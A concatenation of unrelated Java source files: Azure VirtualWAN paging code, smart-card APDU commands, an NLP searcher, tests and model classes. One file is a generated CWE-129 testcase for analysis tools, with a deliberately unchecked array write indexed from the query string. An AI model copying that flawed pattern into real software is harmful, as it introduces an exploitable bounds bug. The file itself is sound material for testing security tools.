return listByResourceGroupSinglePageAsync(resourceGroupName)
.concatMap(new Func1<ServiceResponse<Page<VirtualWANInner>>, Observable<ServiceResponse<Page<VirtualWANInner>>>>() {
@Override
public Observable<ServiceResponse<Page<VirtualWANInner>>> call(ServiceResponse<Page<VirtualWANInner>> page) {
String nextPageLink = page.body().nextPageLink();
if (nextPageLink == null) {
return Observable.just(page);
}
return Observable.just(page).concatWith(listByResourceGroupNextWithServiceResponseAsync(nextPageLink));
}
});
}
/**
* Lists all the VirtualWANs in a resource group.
*
ServiceResponse<PageImpl<VirtualWANInner>> * @param resourceGroupName The resource group name of the VirtualWan.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the PagedList<VirtualWANInner> object wrapped in {@link ServiceResponse} if successful.
*/
public Observable<ServiceResponse<Page<VirtualWANInner>>> listByResourceGroupSinglePageAsync(final String resourceGroupName) {
if (this.client.subscriptionId() == null) {
throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null.");
}
if (resourceGroupName == null) {
throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null.");
}
final String apiVersion = "2020-03-01";
return service.listByResourceGroup(this.client.subscriptionId(), resourceGroupName, apiVersion, this.client.acceptLanguage(), this.client.userAgent())
.flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<Page<VirtualWANInner>>>>() {
@Override
public Observable<ServiceResponse<Page<VirtualWANInner>>> call(Response<ResponseBody> response) {
try {
ServiceResponse<PageImpl<VirtualWANInner>> result = listByResourceGroupDelegate(response);
return Observable.just(new ServiceResponse<Page<VirtualWANInner>>(result.body(), result.response()));
} catch (Throwable t) {
return Observable.error(t);
}
}
});
}
private ServiceResponse<PageImpl<VirtualWANInner>> listByResourceGroupDelegate(Response<ResponseBody> response) throws CloudException, IOException, IllegalArgumentException {
return this.client.restClient().responseBuilderFactory().<PageImpl<VirtualWANInner>, CloudException>newInstance(this.client.serializerAdapter())
.register(200, new TypeToken<PageImpl<VirtualWANInner>>() { }.getType())
.registerError(CloudException.class)
.build(response);
}
/**
* Lists all the VirtualWANs in a subscription.
*
* @throws IllegalArgumentException thrown if parameters fail the validation
* @throws CloudException thrown if the request is rejected by server
* @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent
* @return the PagedList<VirtualWANInner> object if successful.
*/
public PagedList<VirtualWANInner> list() {
ServiceResponse<Page<VirtualWANInner>> response = listSinglePageAsync().toBlocking().single();
return new PagedList<VirtualWANInner>(response.body()) {
@Override
public Page<VirtualWANInner> nextPage(String nextPageLink) {
return listNextSinglePageAsync(nextPageLink).toBlocking().single().body();
}
};
}
/**
* Lists all the VirtualWANs in a subscription.
*
* @param serviceCallback the async ServiceCallback to handle successful and failed responses.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the {@link ServiceFuture} object
*/
public ServiceFuture<List<VirtualWANInner>> listAsync(final ListOperationCallback<VirtualWANInner> serviceCallback) {
return AzureServiceFuture.fromPageResponse(
listSinglePageAsync(),
new Func1<String, Observable<ServiceResponse<Page<VirtualWANInner>>>>() {
@Override
public Observable<ServiceResponse<Page<VirtualWANInner>>> call(String nextPageLink) {
return listNextSinglePageAsync(nextPageLink);
}
},
serviceCallback);
}
/**
* Lists all the VirtualWANs in a subscription.
*
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the PagedList<VirtualWANInner> object
*/
public Observable<Page<VirtualWANInner>> listAsync() {
return listWithServiceResponseAsync()
.map(new Func1<ServiceResponse<Page<VirtualWANInner>>, Page<VirtualWANInner>>() {
@Override
public Page<VirtualWANInner> call(ServiceResponse<Page<VirtualWANInner>> response) {
return response.body();
}
});
}
/**
* Lists all the VirtualWANs in a subscription.
*
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the PagedList<VirtualWANInner> object
*/
public Observable<ServiceResponse<Page<VirtualWANInner>>> listWithServiceResponseAsync() {
return listSinglePageAsync()
.concatMap(new Func1<ServiceResponse<Page<VirtualWANInner>>, Observable<ServiceResponse<Page<VirtualWANInner>>>>() {
@Override
public Observable<ServiceResponse<Page<VirtualWANInner>>> call(ServiceResponse<Page<VirtualWANInner>> page) {
String nextPageLink = page.body().nextPageLink();
if (nextPageLink == null) {
return Observable.just(page);
}
return Observable.just(page).concatWith(listNextWithServiceResponseAsync(nextPageLink));
}
});
}
/**
* Lists all the VirtualWANs in a subscription.
*
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the PagedList<VirtualWANInner> object wrapped in {@link ServiceResponse} if successful.
*/
public Observable<ServiceResponse<Page<VirtualWANInner>>> listSinglePageAsync() {
if (this.client.subscriptionId() == null) {
throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null.");
}
final String apiVersion = "2020-03-01";
return service.list(this.client.subscriptionId(), apiVersion, this.client.acceptLanguage(), this.client.userAgent())
.flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<Page<VirtualWANInner>>>>() {
@Override
public Observable<ServiceResponse<Page<VirtualWANInner>>> call(Response<ResponseBody> response) {
try {
ServiceResponse<PageImpl<VirtualWANInner>> result = listDelegate(response);
return Observable.just(new ServiceResponse<Page<VirtualWANInner>>(result.body(), result.response()));
} catch (Throwable t) {
return Observable.error(t);
}
}
});
}
private ServiceResponse<PageImpl<VirtualWANInner>> listDelegate(Response<ResponseBody> response) throws CloudException, IOException, IllegalArgumentException {
return this.client.restClient().responseBuilderFactory().<PageImpl<VirtualWANInner>, CloudException>newInstance(this.client.serializerAdapter())
.register(200, new TypeToken<PageImpl<VirtualWANInner>>() { }.getType())
.registerError(CloudException.class)
.build(response);
}
/**
* Lists all the VirtualWANs in a resource group.
*
* @param nextPageLink The NextLink from the previous successful call to List operation.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @throws CloudException thrown if the request is rejected by server
* @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent
* @return the PagedList<VirtualWANInner> object if successful.
*/
public PagedList<VirtualWANInner> listByResourceGroupNext(final String nextPageLink) {
ServiceResponse<Page<VirtualWANInner>> response = listByResourceGroupNextSinglePageAsync(nextPageLink).toBlocking().single();
return new PagedList<VirtualWANInner>(response.body()) {
@Override
public Page<VirtualWANInner> nextPage(String nextPageLink) {
return listByResourceGroupNextSinglePageAsync(nextPageLink).toBlocking().single().body();
}
};
}
/**
* Lists all the VirtualWANs in a resource group.
*
* @param nextPageLink The NextLink from the previous successful call to List operation.
* @param serviceFuture the ServiceFuture object tracking the Retrofit calls
* @param serviceCallback the async ServiceCallback to handle successful and failed responses.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the {@link ServiceFuture} object
*/
public ServiceFuture<List<VirtualWANInner>> listByResourceGroupNextAsync(final String nextPageLink, final ServiceFuture<List<VirtualWANInner>> serviceFuture, final ListOperationCallback<VirtualWANInner> serviceCallback) {
return AzureServiceFuture.fromPageResponse(
listByResourceGroupNextSinglePageAsync(nextPageLink),
new Func1<String, Observable<ServiceResponse<Page<VirtualWANInner>>>>() {
@Override
public Observable<ServiceResponse<Page<VirtualWANInner>>> call(String nextPageLink) {
return listByResourceGroupNextSinglePageAsync(nextPageLink);
}
},
serviceCallback);
}
/**
* Lists all the VirtualWANs in a resource group.
*
* @param nextPageLink The NextLink from the previous successful call to List operation.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the PagedList<VirtualWANInner> object
*/
public Observable<Page<VirtualWANInner>> listByResourceGroupNextAsync(final String nextPageLink) {
return listByResourceGroupNextWithServiceResponseAsync(nextPageLink)
.map(new Func1<ServiceResponse<Page<VirtualWANInner>>, Page<VirtualWANInner>>() {
@Override
public Page<VirtualWANInner> call(ServiceResponse<Page<VirtualWANInner>> response) {
return response.body();
}
});
}
/**
* Lists all the VirtualWANs in a resource group.
*
* @param nextPageLink The NextLink from the previous successful call to List operation.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the PagedList<VirtualWANInner> object
*/
public Observable<ServiceResponse<Page<VirtualWANInner>>> listByResourceGroupNextWithServiceResponseAsync(final String nextPageLink) {
return listByResourceGroupNextSinglePageAsync(nextPageLink)
.concatMap(new Func1<ServiceResponse<Page<VirtualWANInner>>, Observable<ServiceResponse<Page<VirtualWANInner>>>>() {
@Override
public Observable<ServiceResponse<Page<VirtualWANInner>>> call(ServiceResponse<Page<VirtualWANInner>> page) {
String nextPageLink = page.body().nextPageLink();
if (nextPageLink == null) {
return Observable.just(page);
}
return Observable.just(page).concatWith(listByResourceGroupNextWithServiceResponseAsync(nextPageLink));
}
});
}
/**
* Lists all the VirtualWANs in a resource group.
*
ServiceResponse<PageImpl<VirtualWANInner>> * @param nextPageLink The NextLink from the previous successful call to List operation.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the PagedList<VirtualWANInner> object wrapped in {@link ServiceResponse} if successful.
*/
public Observable<ServiceResponse<Page<VirtualWANInner>>> listByResourceGroupNextSinglePageAsync(final String nextPageLink) {
if (nextPageLink == null) {
throw new IllegalArgumentException("Parameter nextPageLink is required and cannot be null.");
}
String nextUrl = String.format("%s", nextPageLink);
return service.listByResourceGroupNext(nextUrl, this.client.acceptLanguage(), this.client.userAgent())
.flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<Page<VirtualWANInner>>>>() {
@Override
public Observable<ServiceResponse<Page<VirtualWANInner>>> call(Response<ResponseBody> response) {
try {
ServiceResponse<PageImpl<VirtualWANInner>> result = listByResourceGroupNextDelegate(response);
return Observable.just(new ServiceResponse<Page<VirtualWANInner>>(result.body(), result.response()));
} catch (Throwable t) {
return Observable.error(t);
}
}
});
}
private ServiceResponse<PageImpl<VirtualWANInner>> listByResourceGroupNextDelegate(Response<ResponseBody> response) throws CloudException, IOException, IllegalArgumentException {
return this.client.restClient().responseBuilderFactory().<PageImpl<VirtualWANInner>, CloudException>newInstance(this.client.serializerAdapter())
.register(200, new TypeToken<PageImpl<VirtualWANInner>>() { }.getType())
.registerError(CloudException.class)
.build(response);
}
/**
* Lists all the VirtualWANs in a subscription.
*
* @param nextPageLink The NextLink from the previous successful call to List operation.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @throws CloudException thrown if the request is rejected by server
* @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent
* @return the PagedList<VirtualWANInner> object if successful.
*/
public PagedList<VirtualWANInner> listNext(final String nextPageLink) {
ServiceResponse<Page<VirtualWANInner>> response = listNextSinglePageAsync(nextPageLink).toBlocking().single();
return new PagedList<VirtualWANInner>(response.body()) {
@Override
public Page<VirtualWANInner> nextPage(String nextPageLink) {
return listNextSinglePageAsync(nextPageLink).toBlocking().single().body();
}
};
}
/**
* Lists all the VirtualWANs in a subscription.
*
* @param nextPageLink The NextLink from the previous successful call to List operation.
* @param serviceFuture the ServiceFuture object tracking the Retrofit calls
* @param serviceCallback the async ServiceCallback to handle successful and failed responses.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the {@link ServiceFuture} object
*/
public ServiceFuture<List<VirtualWANInner>> listNextAsync(final String nextPageLink, final ServiceFuture<List<VirtualWANInner>> serviceFuture, final ListOperationCallback<VirtualWANInner> serviceCallback) {
return AzureServiceFuture.fromPageResponse(
listNextSinglePageAsync(nextPageLink),
new Func1<String, Observable<ServiceResponse<Page<VirtualWANInner>>>>() {
@Override
public Observable<ServiceResponse<Page<VirtualWANInner>>> call(String nextPageLink) {
return listNextSinglePageAsync(nextPageLink);
}
},
serviceCallback);
}
/**
* Lists all the VirtualWANs in a subscription.
*
* @param nextPageLink The NextLink from the previous successful call to List operation.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the PagedList<VirtualWANInner> object
*/
public Observable<Page<VirtualWANInner>> listNextAsync(final String nextPageLink) {
return listNextWithServiceResponseAsync(nextPageLink)
.map(new Func1<ServiceResponse<Page<VirtualWANInner>>, Page<VirtualWANInner>>() {
@Override
public Page<VirtualWANInner> call(ServiceResponse<Page<VirtualWANInner>> response) {
return response.body();
}
});
}
/**
* Lists all the VirtualWANs in a subscription.
*
* @param nextPageLink The NextLink from the previous successful call to List operation.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the observable to the PagedList<VirtualWANInner> object
*/
public Observable<ServiceResponse<Page<VirtualWANInner>>> listNextWithServiceResponseAsync(final String nextPageLink) {
return listNextSinglePageAsync(nextPageLink)
.concatMap(new Func1<ServiceResponse<Page<VirtualWANInner>>, Observable<ServiceResponse<Page<VirtualWANInner>>>>() {
@Override
public Observable<ServiceResponse<Page<VirtualWANInner>>> call(ServiceResponse<Page<VirtualWANInner>> page) {
String nextPageLink = page.body().nextPageLink();
if (nextPageLink == null) {
return Observable.just(page);
}
return Observable.just(page).concatWith(listNextWithServiceResponseAsync(nextPageLink));
}
});
}
/**
* Lists all the VirtualWANs in a subscription.
*
ServiceResponse<PageImpl<VirtualWANInner>> * @param nextPageLink The NextLink from the previous successful call to List operation.
* @throws IllegalArgumentException thrown if parameters fail the validation
* @return the PagedList<VirtualWANInner> object wrapped in {@link ServiceResponse} if successful.
*/
public Observable<ServiceResponse<Page<VirtualWANInner>>> listNextSinglePageAsync(final String nextPageLink) {
if (nextPageLink == null) {
throw new IllegalArgumentException("Parameter nextPageLink is required and cannot be null.");
}
String nextUrl = String.format("%s", nextPageLink);
return service.listNext(nextUrl, this.client.acceptLanguage(), this.client.userAgent())
.flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<Page<VirtualWANInner>>>>() {
@Override
public Observable<ServiceResponse<Page<VirtualWANInner>>> call(Response<ResponseBody> response) {
try {
ServiceResponse<PageImpl<VirtualWANInner>> result = listNextDelegate(response);
return Observable.just(new ServiceResponse<Page<VirtualWANInner>>(result.body(), result.response()));
} catch (Throwable t) {
return Observable.error(t);
}
}
});
}
private ServiceResponse<PageImpl<VirtualWANInner>> listNextDelegate(Response<ResponseBody> response) throws CloudException, IOException, IllegalArgumentException {
return this.client.restClient().responseBuilderFactory().<PageImpl<VirtualWANInner>, CloudException>newInstance(this.client.serializerAdapter())
.register(200, new TypeToken<PageImpl<VirtualWANInner>>() { }.getType())
.registerError(CloudException.class)
.build(response);
}
}
|
package com.owlcode;
public class DeluxeBurger extends Hamburger {
public DeluxeBurger() {
super("Deluxe", "Sausage & Bacon", 14.54, "White");
super.addHamburgerAddition1("Chips", 2.75);
super.addHamburgerAddition2("Drink", 181);
}
@Override
public void addHamburgerAddition1(String name, double price) {
System.out.println("Cannot add additional items to a deluxe burger");
}
@Override
public void addHamburgerAddition2(String name, double price) {
System.out.println("Cannot add additional items to a deluxe burger");
}
@Override
public void addHamburgerAddition3(String name, double price) {
System.out.println("Cannot add additional items to a deluxe burger");
}
@Override
public void addHamburgerAddition4(String name, double price) {
System.out.println("Cannot add additional items to a deluxe burger");
}
}
|
package com.ons.gov.uk.backend.test;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.ons.gov.uk.DimensionalAPI;
import com.ons.gov.uk.core.Config;
import com.ons.gov.uk.frontend.pages.FileUploader;
import com.ons.gov.uk.frontend.test.FileChecker;
import com.ons.gov.uk.util.CSVOps;
import com.ons.gov.uk.util.PropertyReader;
import org.json.simple.parser.JSONParser;
public class TestSetup {
DimensionalAPI dimAPI = new DimensionalAPI();
JSONParser parser = new JSONParser();
String responseFromAPI = null;
Config config = new Config();
PropertyReader propertyReader = new PropertyReader();
CSVOps csvOps = new CSVOps();
ObjectMapper mapper = new ObjectMapper();
FileUploader fileUploader = new FileUploader();
FileChecker fileChecker = new FileChecker();
public String getCsvFile() {
return config.getFilepath();
}
public void setCsvFile(String fileName) {
config.setFilepath(fileName);
}
public String getTitle(String fileName) {
String title = null;
if (fileName.contains("AF001")) {
title = propertyReader.getValue("armed_forces_linkText");
} else if (fileName.contains("Open-Data")) {
title = propertyReader.getValue("cpi_linkText");
} else if (fileName.contains("AnnualBusinessSurvey_UKBusinessValue")) {
title = propertyReader.getValue("annual_business_survey_linkText");
}
return title;
}
}
|
package org.ichanging.qpboc.core;
import org.ichanging.qpboc.util.HexUtil;
import org.ichanging.qpboc.platform.LogUtil;
/**
* Created by ChangingP on 2016/4/15.
*/
public class ICCCommand {
private static final String TAG = ICCCommand.class.getSimpleName();
// Format: [CLASS | INSTRUCTION | PARAMETER 1 | PARAMETER 2 | LC | LE]
public static final byte[] APDU_SELECT_AID = { 0x00 , (byte)0xA4 , 0x04 , 0x00 , 0x00 , 0x00 };
public static final byte[] APDU_READ_RECORD = { 0x00 , (byte)0xB2 , 0x00 , 0x00 , 0x00 , 0x00 };
public static final byte[] APDU_GET_PROCESS_OPTIONS = { (byte)0x80 , (byte)0xA8 , 0x00 , 0x00 , 0x00 , 0x00 };
public static final byte[] APDU_GET_DATA = { (byte)0x80 , (byte)0xCA , 0x00 , 0x00 , 0x00, 0x00 };
private static final int APDU_SW_OK = 0x9000;
private ICCInterface mIcc = null;
private static ICCCommand mICCCommand = null;
public static ICCCommand getInstance()
{
if(mICCCommand == null)
{
mICCCommand = new ICCCommand();
}
return mICCCommand;
}
/**
* set ICCInterface delegate
*/
public void setICC(ICCInterface icc)
{
mIcc = icc;
}
public int powerOn()
{
return mIcc._PowerOn();
}
public int powerOff()
{
return mIcc._PowerOff();
}
/**
* Build APDU for SELECT AID command. See ISO 7816-4.
*
* @param aid Application ID (AID) to select
* @param selfirst Select First or Next
* @param rsp APDU rsponse of Card
*
*/
public int SelectAid(String aid, boolean selfirst, ICCResponse rsp) {
ICCApdu apdu = new ICCApdu(APDU_SELECT_AID);
apdu.setData(aid.getBytes());
//Select First or Next
if(!selfirst) apdu._p2 = 0x02;
LogUtil.i(TAG, "----------------------- EMV/PBOC select aid");
return mIcc._ApduComm(apdu,rsp);
}
public int SelectAid(byte[] aid, boolean selfirst, ICCResponse rsp) {
ICCApdu apdu = new ICCApdu(APDU_SELECT_AID);
apdu.setData(aid);
//Select First or Next
if(!selfirst) apdu._p2 = 0x02;
LogUtil.i(TAG, "----------------------- EMV/PBOC select aid");
return mIcc._ApduComm(apdu,rsp);
}
/**
* Build APDU for READ_RECORD command. See ISO 7816-4.
*
* @param sfi
* @param index
* @param rsp APDU for SELECT AID/PSE/PPSE command
*
*/
public int ReadRecord(int sfi,int index,ICCResponse rsp) {
ICCApdu apdu = new ICCApdu(APDU_READ_RECORD);
apdu._p1 = (byte)index;
apdu._p2 = (byte)(((sfi & 0x1F) << 3) | 0x04);
apdu._mask = 0x4F;
LogUtil.i(TAG, "----------------------- EMV/PBOC read record");
return mIcc._ApduComm(apdu,rsp);
}
/**
* Build APDU for GPO command. See ISO 7816-4.
*
* @param pdol APDU command Part for GPO
* @param rsp APDU rsponse of Card
*
*/
public int GetProcessOptions(byte[] pdol ,ICCResponse rsp) {
ICCApdu apdu = new ICCApdu(APDU_GET_PROCESS_OPTIONS);
apdu.setData(pdol);
LogUtil.i(TAG, "----------------------- EMV/PBOC get process options");
return mIcc._ApduComm(apdu,rsp);
}
/**
* Build APDU for GET_DATA command. See ISO 7816-4.
*
* @param tag Emv/PBOC Tag eg. "9F79"
* @param rsp APDU rsponse of Card
* @return sw eg. 0x9000
*/
public int GetData(String tag,ICCResponse rsp) {
byte[] btag = HexUtil.HexStringToByteArray(tag);
ICCApdu apdu = new ICCApdu(APDU_GET_DATA);
apdu._p1 = btag[0];
apdu._p2 = btag[1];
apdu._mask = 0x4F;
LogUtil.i(TAG, "----------------------- EMV/PBOC get data");
return mIcc._ApduComm(apdu,rsp);
}
}
|
package opennlp.tools.chatbot.text_searcher;
import java.io.File;
import java.io.IOException;
import java.nio.file.FileSystems;
import java.nio.file.Path;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Scanner;
import opennlp.tools.chatbot.ChatIterationResult;
import opennlp.tools.jsmlearning.ProfileReaderWriter;
import opennlp.tools.parse_thicket.Pair;
import opennlp.tools.parse_thicket.matching.Matcher;
import opennlp.tools.parse_thicket.opinion_processor.EntityExtractionResult;
import opennlp.tools.similarity.apps.HitBase;
import opennlp.tools.similarity.apps.taxo_builder.TaxoQuerySnapshotMatcher;
import opennlp.tools.similarity.apps.utils.CountItemsList;
import opennlp.tools.similarity.apps.utils.ValueSortMap;
import opennlp.tools.stemmer.PStemmer;
import opennlp.tools.textsimilarity.ParseTreeChunk;
import opennlp.tools.textsimilarity.ParseTreeChunkListScorer;
import opennlp.tools.textsimilarity.TextProcessor;
import org.apache.commons.lang.StringUtils;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.apache.lucene.analysis.Analyzer;
import org.apache.lucene.analysis.TokenStream;
import org.apache.lucene.analysis.core.StopAnalyzer;
import org.apache.lucene.analysis.standard.StandardAnalyzer;
import org.apache.lucene.document.Document;
import org.apache.lucene.index.DirectoryReader;
import org.apache.lucene.index.IndexReader;
import org.apache.lucene.queryparser.classic.ParseException;
import org.apache.lucene.queryparser.classic.QueryParser;
import org.apache.lucene.search.BooleanQuery;
import org.apache.lucene.search.BooleanClause;
import org.apache.lucene.search.IndexSearcher;
import org.apache.lucene.search.Query;
import org.apache.lucene.search.ScoreDoc;
import org.apache.lucene.search.TopDocs;
import org.apache.lucene.search.spans.SpanNearQuery;
import org.apache.lucene.store.Directory;
import org.apache.lucene.store.FSDirectory;
import org.apache.lucene.util.Version;
import org.json.JSONObject;
import org.apache.lucene.search.highlight.Formatter;
import org.apache.lucene.search.highlight.Fragmenter;
import org.apache.lucene.search.highlight.Highlighter;
import org.apache.lucene.search.highlight.InvalidTokenOffsetsException;
import org.apache.lucene.search.highlight.QueryScorer;
import org.apache.lucene.search.highlight.SimpleHTMLFormatter;
import org.apache.lucene.search.highlight.SimpleSpanFragmenter;
import org.apache.lucene.search.highlight.TextFragment;
import org.apache.lucene.search.highlight.TokenSources;
public class DocSearcherWithSyntacticAndTaxoRelevance extends DocSearcherWithHighlighter{
public static final Log logger = LogFactory.getLog(DocSearcherWithSyntacticAndTaxoRelevance.class);
protected TaxoQuerySnapshotMatcher matcherTaxo = new TaxoQuerySnapshotMatcher(
"src/test/resources/taxonomies/irs_domTaxo.dat");
protected ParseTreeChunkListScorer parseTreeChunkListScorer = new ParseTreeChunkListScorer();
protected Matcher matcher = Matcher.getInstance();
public List<ChatAnswer> runSearchChatIterFormat(String queryOrig){
List<ChatAnswer> origResults = super.runSearchChatIterFormat(queryOrig), orderedResults = new
ArrayList<ChatAnswer>() ;
for (ChatAnswer ans: origResults ) {
List<List<ParseTreeChunk>> res = matcher.assessRelevanceCache(queryOrig, ans.getAbstractText());
double syntacticScore = parseTreeChunkListScorer.getParseTreeChunkListScoreAggregPhraseType(res);
double taxoScore = matcherTaxo.getTaxoScore(queryOrig, ans.getAbstractText());
double generWithQueryScore = syntacticScore+taxoScore;
ans.setGenerWithQueryScore(generWithQueryScore);
orderedResults.add(ans);
}
Collections.sort(orderedResults, new ChatIterationResultComparable());
return orderedResults;
}
public static void main(String[] args) {
DocSearcherWithSyntacticAndTaxoRelevance searcher = new DocSearcherWithSyntacticAndTaxoRelevance();
List<ChatAnswer> resCIR =
searcher.runSearchChatIterFormat(//"Ford Customer Relationship Center");
//"repair flat tire"
"sidewall between tread shoulder and maximum section width"
);
//"issued an international transfer"
System.out.println(resCIR);
for(ChatIterationResult sr: resCIR){
System.out.println(sr.getParagraph().toString());
}
}
}
|
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE129_Improper_Validation_of_Array_Index__getQueryString_Servlet_array_write_no_check_01.java
Label Definition File: CWE129_Improper_Validation_of_Array_Index.label.xml
Template File: sources-sinks-01.tmpl.java
*/
/*
* @description
* CWE: 129 Improper Validation of Array Index
* BadSource: getQueryString_Servlet Parse id param out of the URL query string (without using getParameter())
* GoodSource: A hardcoded non-zero, non-min, non-max, even number
* Sinks: array_write_no_check
* GoodSink: Write to array after verifying index
* BadSink : Write to array without any verification of index
* Flow Variant: 01 Baseline
*
* */
package testcases.CWE129_Improper_Validation_of_Array_Index.s03;
import testcasesupport.*;
import javax.servlet.http.*;
import java.util.StringTokenizer;
import java.util.logging.Level;
public class CWE129_Improper_Validation_of_Array_Index__getQueryString_Servlet_array_write_no_check_01 extends AbstractTestCaseServlet
{
public void bad(HttpServletRequest request, HttpServletResponse response) throws Throwable
{
int data;
data = Integer.MIN_VALUE; /* initialize data in case id is not in query string */
/* POTENTIAL FLAW: Parse id param out of the URL querystring (without using getParam) */
{
StringTokenizer tokenizer = new StringTokenizer(request.getQueryString(), "&");
while (tokenizer.hasMoreTokens())
{
String token = tokenizer.nextToken(); /* a token will be like "id=33" */
if(token.startsWith("id=")) /* check if we have the "id" parameter" */
{
try
{
data = Integer.parseInt(token.substring(3)); /* set data to the int 33 */
}
catch(NumberFormatException exceptNumberFormat)
{
IO.logger.log(Level.WARNING, "Number format exception reading id from query string", exceptNumberFormat);
}
break; /* exit while loop */
}
}
}
/* Need to ensure that the array is of size > 3 and < 101 due to the GoodSource and the large_fixed BadSource */
int array[] = { 0, 1, 2, 3, 4 };
/* POTENTIAL FLAW: Attempt to write to array at location data, which may be outside the array bounds */
array[data] = 42;
/* Skip reading back data from array since that may be another out of bounds operation */
}
public void good(HttpServletRequest request, HttpServletResponse response) throws Throwable
{
goodG2B(request, response);
goodB2G(request, response);
}
/* goodG2B() - use goodsource and badsink */
private void goodG2B(HttpServletRequest request, HttpServletResponse response) throws Throwable
{
int data;
/* FIX: Use a hardcoded number that won't cause underflow, overflow, divide by zero, or loss-of-precision issues */
data = 2;
/* Need to ensure that the array is of size > 3 and < 101 due to the GoodSource and the large_fixed BadSource */
int array[] = { 0, 1, 2, 3, 4 };
/* POTENTIAL FLAW: Attempt to write to array at location data, which may be outside the array bounds */
array[data] = 42;
/* Skip reading back data from array since that may be another out of bounds operation */
}
/* goodB2G() - use badsource and goodsink */
private void goodB2G(HttpServletRequest request, HttpServletResponse response) throws Throwable
{
int data;
data = Integer.MIN_VALUE; /* initialize data in case id is not in query string */
/* POTENTIAL FLAW: Parse id param out of the URL querystring (without using getParam) */
{
StringTokenizer tokenizer = new StringTokenizer(request.getQueryString(), "&");
while (tokenizer.hasMoreTokens())
{
String token = tokenizer.nextToken(); /* a token will be like "id=33" */
if(token.startsWith("id=")) /* check if we have the "id" parameter" */
{
try
{
data = Integer.parseInt(token.substring(3)); /* set data to the int 33 */
}
catch(NumberFormatException exceptNumberFormat)
{
IO.logger.log(Level.WARNING, "Number format exception reading id from query string", exceptNumberFormat);
}
break; /* exit while loop */
}
}
}
/* Need to ensure that the array is of size > 3 and < 101 due to the GoodSource and the large_fixed BadSource */
int array[] = { 0, 1, 2, 3, 4 };
/* FIX: Verify index before writing to array at location data */
if (data >= 0 && data < array.length)
{
array[data] = 42;
}
else
{
IO.writeLine("Array index out of bounds");
}
}
/* Below is the main(). It is only used when building this testcase on
* its own for testing or for building a binary to use in testing binary
* analysis tools. It is not used when compiling all the testcases as one
* application, which is how source code analysis tools are tested.
*/
public static void main(String[] args) throws ClassNotFoundException,
InstantiationException, IllegalAccessException
{
mainFromParent(args);
}
}
|
package io.wyf.jcartadministrationback.service;
import io.wyf.jcartadministrationback.po.ReturnHistory;
import java.util.List;
public interface ReturnHistoryService {
List<ReturnHistory> getListByReturnId(Integer returnId);
Long create(ReturnHistory returnHistory);
}
|
/**
*/
package tosca.impl;
import org.eclipse.emf.ecore.EClass;
import org.eclipse.emf.ecore.impl.MinimalEObjectImpl;
import tosca.ToscaPackage;
import tosca.Value;
/**
* <!-- begin-user-doc -->
* An implementation of the model object '<em><b>Value</b></em>'.
* <!-- end-user-doc -->
*
* @generated
*/
public class ValueImpl extends MinimalEObjectImpl.Container implements Value {
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
protected ValueImpl() {
super();
}
/**
* <!-- begin-user-doc -->
* <!-- end-user-doc -->
* @generated
*/
@Override
protected EClass eStaticClass() {
return ToscaPackage.Literals.VALUE;
}
} //ValueImpl
|
package pom.equipo5.test;
import org.junit.Assert;
import org.junit.Test;
import pom.equipo5.base.TestBase;
import pom.equipo5.pages.*;
public class Paquetes01_paqueteRecomendado extends TestBase {
protected VFHomePage paginaHome = null;
protected VFPaquetePage paginaPaquete = null;
protected VFPaqueteVuelosPage paginaPaquteVuelos = null;
protected VFPaqueteAlojamientosPage paginaPaquetePrimerAlojamiento = null;
protected VFPaqueteRecomendadoDetalle paginaPaqueteRecomendadoDetalle = null;
@Test
public void paqueteRecomendado() {
paginaHome = new VFHomePage(driver);
paginaPaquete = new VFPaquetePage(driver);
paginaPaquteVuelos = new VFPaqueteVuelosPage(driver);
paginaPaquetePrimerAlojamiento = new VFPaqueteAlojamientosPage(driver);
paginaPaqueteRecomendadoDetalle = new VFPaqueteRecomendadoDetalle(driver);
paginaHome.irHomePage();
paginaHome.irPaquete();
paginaPaquete.selecionarPrimerPaqueteRecomendado();
paginaPaquetePrimerAlojamiento.seleccionarPaqueteSugerido();
paginaPaqueteRecomendadoDetalle.esperarDetallesPaquete();
Assert.assertEquals("VUELO", paginaPaqueteRecomendadoDetalle.getVuelo());
Assert.assertEquals("ALOJAMIENTO", paginaPaqueteRecomendadoDetalle.getAlojamiento());
}
}
|
package com.github.kchobantonov.camunda.jsonforms.plugin;
import java.io.ByteArrayInputStream;
import java.util.Collection;
import java.util.Iterator;
import java.util.Map;
import org.camunda.bpm.engine.impl.cmd.GetTaskFormVariablesCmd;
import org.camunda.bpm.engine.impl.interceptor.CommandContext;
import org.camunda.bpm.engine.impl.persistence.entity.DeploymentEntity;
import org.camunda.bpm.engine.impl.persistence.entity.ResourceEntity;
import org.camunda.bpm.engine.impl.persistence.entity.TaskEntity;
import org.camunda.bpm.engine.impl.persistence.entity.TaskManager;
